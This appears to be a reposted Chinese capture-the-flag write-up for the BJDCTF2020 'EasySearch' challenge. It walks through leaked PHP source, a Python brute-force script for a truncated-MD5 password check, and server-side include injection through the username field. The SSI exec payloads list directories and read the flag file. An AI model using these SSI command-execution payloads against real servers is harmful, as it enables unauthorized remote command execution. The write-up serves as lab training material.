当前位置:网站首页>[BJDCTF2020]EasySearch
[BJDCTF2020]EasySearch
2022-08-05 03:52:00 【pakho_C】
[BJDCTF2020]EasySearch
一个登陆页面,尝试了弱口令 爆破 注入无果
扫描目录发现index.php.swp
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
只要密码的md5值的前6位为6d0bc1即可登陆成功
参考爆破密码脚本:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()#获取摘要值
if a[0:6] == '6d0bc1':
print("find password!"+str(i))
break

得到密码为 2020666
接着看到shtml页面
SSI注入参考:SSI注入
代码中生成了一个shtml页面,登陆后无法查看,抓包观察返回包:
访问该页面:
得到登陆信息
这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行。
它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
首先探测根目录:<!--#exec cmd="ls /"-->

根目录没有,那查看当前目录:<!--#exec cmd="ls"-->
也没有
查看上级目录:<!--#exec cmd="ls ../"-->
找到flag文件
查看flag:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&&password=2020666
边栏推荐
- Bubble Sort and Quick Sort
- UE4 通过重叠事件开启门
- 35岁的软件测试工程师,月薪不足2W,辞职又怕找不到工作,该何去何从?
- Industry Status?Why do Internet companies prefer to spend 20k to recruit people rather than raise their salary to retain old employees~
- MySql的索引学习和使用;(本人觉得足够详细)
- Solana NFT开发指南
- 【树莓派】树莓派调光
- [Solved] Unity Coroutine coroutine is not executed effectively
- 队列题目:最近的请求次数
- You may use special comments to disable some warnings. Three ways to report errors
猜你喜欢

运维监控系统之Open-Falcon

多御安全浏览器新版下载 | 功能优秀性能出众

Web3.0 Dapps——通往未来金融世界的道路

七夕节代码表白

mutillidae下载及安装

用Unity发布APP到Hololens2无坑教程
![[Solved] Unity Coroutine coroutine is not executed effectively](/img/ab/035ef004a561fb98d3dd1d7d8b5618.png)
[Solved] Unity Coroutine coroutine is not executed effectively

leetcode-每日一题1403. 非递增顺序的最小子序列(贪心)

MySql index learning and use; (I think it is detailed enough)

Based on holding YOLOv5 custom implementation of FacePose YOLO structure interpretation, YOLO data format conversion, YOLO process modification"
随机推荐
Confessing the era of digital transformation, Speed Cloud engraves a new starting point for value
Burp installation and proxy settings
Android Practical Development - Kotlin Tutorial (Introduction - Login Function Implementation 3.3)
结构体初解
XMjs cross-domain problem solving
Growth-based checkerboard corner detection method
Open-Falcon of operation and maintenance monitoring system
Redis key基本命令
包拉链不可用,但是是被另一个包。
国学*周易*梅花易数 代码实现效果展示 - 梅花心易
public static <T> List<T> asList(T... a) 原型是怎么回事?
UE4 通过重叠事件开启门
Package zip is not available, but is referred to by another package.
银行数据采集,数据补录与指标管理3大问题如何解决?
日志导致线程Block的这些坑,你不得不防
阿里本地生活单季营收106亿,大文娱营收72亿,菜鸟营收121亿
如何解决复杂的分销分账问题?
炎炎夏日教你利用小米智能家居配件+树莓派4接入Apple HomeKit
Increasing leetcode - a daily topic 1403. The order of the boy sequence (greed)
ffmpeg pixel format basics